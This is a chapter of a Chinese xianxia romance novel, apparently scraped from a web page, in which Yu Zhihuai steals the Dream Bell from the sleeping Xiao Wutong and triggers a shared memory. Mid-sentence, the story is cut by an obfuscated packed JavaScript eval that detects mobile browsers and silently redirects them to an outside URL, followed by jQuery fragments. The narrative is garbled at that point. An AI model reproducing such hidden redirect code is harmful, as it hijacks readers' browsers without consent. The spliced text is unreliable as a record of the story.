“那你说怎么办嘛!”玉枝淮瘫倒在柔软的床榻上,下巴搁在枕头上,扭头看着豹猫,神情略微沮丧。
他这样子像团美味可口的荷花糕,豹猫忍住对着他流口水的冲动,问道:“你灵脉还是不能用?”
玉枝淮抬手试了试,乖乖摇头。
豹猫这下没办法了,只好陪着他去萧无桐房里偷东西。
……
时至深夜,整个清徽宗上下都陷入一片死寂,萧无桐作为清徽宗贵客,被安排在了清幽阁,阁外大片桃林密布,浅春时节,繁花点点。
夜风中送来花香气息。
书案边,玉简被法力托着,上面写着这段日子以来仙盟的大小事件。
可玉简的主人却并没有将心思放在上面,他坐在桌前,漫不经心的盯着自己大拇指上的血玉扳指。
夜色中忽明忽暗的烛光,映得萧无桐那张脸上仿佛出现了一种近乎死寂的平静,两只漆黑的墨色双眸里倒映出扳指的模样。
“尊主,已子时了。”忽然,暗处传来侍卫萧澜的声音。
按理说,到了萧无桐如今的境界,是无需睡眠的,但萧澜还是觑着他的脸色,提醒道:“今日您不是头疼么?可要唤端木陵游来看看?”
端木陵游,端木家现任少主,是个医术卓绝的药修。
萧无桐闻言瞥了他一眼。
萧澜从中看出一股警告的意味,顿时不说话了,退回黑暗里,心里却忍不住泛起嘀咕。
又是这样,自从一步天回来后,他家主子就总是盯着那颗扳指看……扳指里到底有谁啊!
萧无桐合上眼,“你们退下吧,今夜不需侍候。”
话音刚落,他身形一闪,已至榻前。
清幽阁的烛光终于灭了。
玉枝淮趴在一棵桃树下,他已经在这等了有半个时辰了,夜里风大,他差点被簌簌落下的桃花瓣们埋进土里。
直到远远看见灭了的烛光,他才从土里翻起来,甩了甩自己眼睫毛上的那些花瓣,高兴道:“这厮终于睡了!”
豹猫也一个激灵,连忙把浮在虚空中的美梦打散,不是很清醒的道:“好!睡了好!”
玉枝淮:“……”叽里咕噜说什么呢!
玉枝淮拎起他脖子,把他丢肩膀上,然后闭了闭眼,复又睁开——
墨色的眼瞳不过须臾便成了海水般的蓝,整个清幽阁在他眼中变成一条条蓝线,外面却没有什么法力光芒。
“我就知道,他还是老样子,睡觉的时候根本不设防护阵。”玉枝淮嘀嘀咕咕的朝着清幽阁摸去。
豹猫闻言清醒了不少,他看了眼玉枝淮脸上的神情,觉得他此刻应该是知道轻重的,便没开口挖苦他了。
少时的玉枝淮,那是心比天高的,总觉得天地都要爱他,连刚回家中,外面就下起雨,也能被他扭曲成上天爱他,所以不让他淋雨。
理所当然的,他觉得萧无桐这个主人也该爱他。
尤其在身边还有几个损友怂恿“他不可能不喜欢你”后,玉枝淮在萧无桐面前干过不少丢人的事,故意装晕、假意碰瓷摔在萧无桐脚边之类的事,更是信手拈来。
最出格的一次,是趁着元宵夜醉酒,提了几坛酒跑去萧无桐的书房。
但不知道萧无桐和他说了什么,玉枝淮从此以后就没在外人面前说自己喜欢萧无桐了,也不把自己打扮得漂漂亮亮了,反而处处和他对着干。
两人的关系越来越差,萧无桐要杀人,玉枝淮就不让杀。
萧无桐要上战场和魔族打仗,不让玉枝淮去,他就自己偷偷去,气得萧无桐后来再也不用问天剑了,从死去的魔族魔骨中炼化一根长鞭,谁挡抽谁。
长鞭被置在了书桌上,玉枝淮从窗户翻进去就看到了,他用灵力给自己设下一个消音咒,发出的所有声音都化为了虚无。
它会在哪儿呢?玉枝淮皱着眉头想,万一萧无桐根本没带怎么办?
这个想法刚一出来,玉枝淮心底就鬼使神差的把它否决了。
……萧无桐一定会带的,那可是祖级法器啊,他不带难道还能丢了吗?
清幽阁中并不算很大,这房间里很快就被玉枝淮找完了,只剩床前。
黑暗中,玉枝淮咬了咬牙,抬脚朝着床边走去——
“你作甚?!”豹猫吓了一跳,“你不是找梦铃吗?去他那里干什么?”
玉枝淮瞪了他一眼,“都找遍了,没有!只有可能在他身上了!”
豹猫无奈:“万一人家就没带呢?”
梦铃是祖级法器,和主人之间有特殊的感应方式,玉枝淮已经有点隐隐约约的感觉了,他心神一震,忽然看向床头——
见他真的要过去,豹猫吓得毛都炸了,“喂,他要是醒了怎么办?他是大乘期啊!要是真抓住你,十个你都挣不脱!”
玉枝淮:“……住口,不许乌鸦嘴。他白天头疼了,应该是老毛病犯了,不会醒的。”
萧家历代看守魔渊,体质特殊,很多人从小就有偏头疼,萧无桐也不例外。
玉枝淮常常看到他喝镇痛药,小时候还偷偷喝过几口,结果给他苦得整张脸都皱起来了。
而喝药以后,他这一夜不会醒。
豹猫一点也不敢看,先一步跑得远远的,躲起来了。
玉枝淮:“……”出息。
玉枝淮暗暗骂它,但实际上自己也很心虚,他找了块布盖住脸颊——动作也放轻了很多,越靠近床榻,他的心跳就越快,仿佛这房间里只剩下了他一个人。
近了……
一道浅蓝的光晕在萧无桐枕畔浮现,那是个小玉盒,盒里隐约显出淡蓝色铃铛虚影。
玉枝淮:“!!!”
果然在他身边!
玉枝淮心中大喜,连紧皱着的眉也展开了,急忙伸手去拿,但手刚伸出去没多久,他就发现自己手短了,拿不到,只有上床去。
可那样被发现的概率几乎是百分百,玉枝淮额头滑下一滴冷汗,伸手想用法力去抓,却发现那傲娇的铃铛纹丝不动,显然是多年不见,皮痒了。
也可能是法力气息不同,它不认了,总之它岿然不动。
“……”玉枝淮闭了闭眼,暗骂一句:该死。
他深呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375308|200070||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吸一口气,踩上了床边——
那是一张宽得足以躺下两人的床,萧无桐约莫一米九三,晚间睡觉时竟也穿着外衣,只摘下了发冠,身姿板正,如同躺在棺材里。
夜色里什么也看不清,玉枝淮凭着感觉踩上去,终于堪堪碰见那个玉盒——
也就是这一瞬间——
“叮铃!!!”
檐下风铃被夜风吹动,送来花香气息,萧无桐猝然睁开双眼,一掌擒住了身上之人的腰,狠狠往外一扯!刹那间强劲的血色法力铺天盖地般袭向玉枝淮,伴随着他那极为冰冷、阴鸷的声音——
“大胆!”
不好!玉枝淮也瞪大了眼睛,急忙将梦铃晃动,泛蓝的双眼里出现符文,他张开唇,轻轻道:
“幻梦平生!”
那是一句能够让人短暂陷入过往的催动咒语,只见室内淡蓝光芒大盛,三声铃铛接连响起,萧无桐身上的气息平静了下去,他仍然睁着眼睛,却一动也不动。
玉枝淮也受了铃铛影响,身体晃了一下,眼前不受控制的浮现过往——
细碎的桃花瓣被风卷入萧家书房,落了满地,一只带着剑茧戴着扳指的手轻轻拭去剑卷上的花瓣。
那是少年的萧无桐,他垂眸看向怀里只到他胸膛的玉枝淮,将他抱起来坐在自己的腿上。
彼时玉枝淮刚出剑窟没多久,什么也不会,他看上去只有十岁左右,却已经显现了惊人的美貌,唇红齿白,一双海蓝色的眼里满是懵懂,长长的头发上散发着桃花香气。
“……桐,桐!”玉枝淮指着桌上一个置笔的木筒,扭头看向抱着自己的少年,抬手扯他衣服上的坠子,“桐!”
木筒,木桐。
在他仅有的理解里,萧无桐是个‘木头’做的。
木筒也是木头做的。
“……怎么这么久了也只会说这一个字?”萧无桐抬手把他脑袋扭回去,强迫他盯着桌上,带着血玉扳指的指尖敲着书卷:“这是什么字?昨天教过你的。”
玉枝淮和书上的字大眼瞪小眼,谁也不认识谁。
仙盟教人的书卷是会浮现在空中的,字体顿时从书卷上跳出来,吓得玉枝淮“呜啊!”一声,埋在了萧无桐怀里,只露出个毛茸茸的脑袋。
字不仅不认识他,还要打他!
“……”萧无桐长叹一口气,这位少年家主似乎也对自己亲手带出来的剑灵无奈了,握着他的手,又一次摸上那突出来的字:
“玉、枝、淮。”
“这是你的名字,”他低声对怀里的懵懂少年说,“从树上长出来的春水枝……”
玉枝淮:“水!”
仙盟的教材上浮现水珠,那水微微凉、却又不像冬夜里的冰冷河水,只是浅浅的水雾。
那是春天的水雾。
啪嗒。
啪嗒。
清幽阁外下起了雨,玉枝淮蓦然回过神来,他看了看眼前还呆滞着的萧无桐,当即脚底抹油跑了。
梦铃作为祖级神器,会让萧无桐忘掉这一段记忆。
即使醒来发现梦铃不见,也不知道是谁偷的。